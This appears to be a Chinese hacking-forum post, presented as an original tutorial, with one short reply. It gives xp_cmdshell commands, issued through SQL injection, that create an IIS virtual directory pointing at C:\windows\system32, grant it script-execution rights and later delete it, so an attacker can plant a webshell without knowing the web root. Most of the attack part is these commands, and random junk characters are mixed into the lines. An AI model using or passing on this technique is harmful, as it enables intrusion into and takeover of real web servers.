[原创教程] 如何SQL注入建立虚拟目录 SQL, 目录, 虚拟

平湖秋月

很多情况下我们都会遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，应该算是无意中发现了一招，感觉不错 整理下发上来给大家分享：) x; i* V7 Y9 R; U* r$ c* X% x

% l5 E! Z" m% rexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'& m& Q8 P/ ]: t+ c- \
建立虚拟目录win,指向c:\windows\system322 S3 ^! s" m- Q8 X
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'1 C( P0 Y; M( b. ]8 }
让win句有解析asp脚本权限
9 j! w1 ~1 G7 ?; C. V3 [* X0 J4 B# v4 |/ [% v
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"! I1 S' D6 d$ r- n6 m7 T
删除虚拟目录。
! o! h. x0 t$ P6 [1 `+ Z+ x7 c& |找不到web绝对路径的一种解决办法，
+ m# P3 W2 K! ^3 n0 d8 @1 `7 j0 I2 E$ O5 F" e- T3 z3 c" [/ [
403错误，表示虚拟目录建好了。。

wmmy

呀  LZ好久不见你上了啊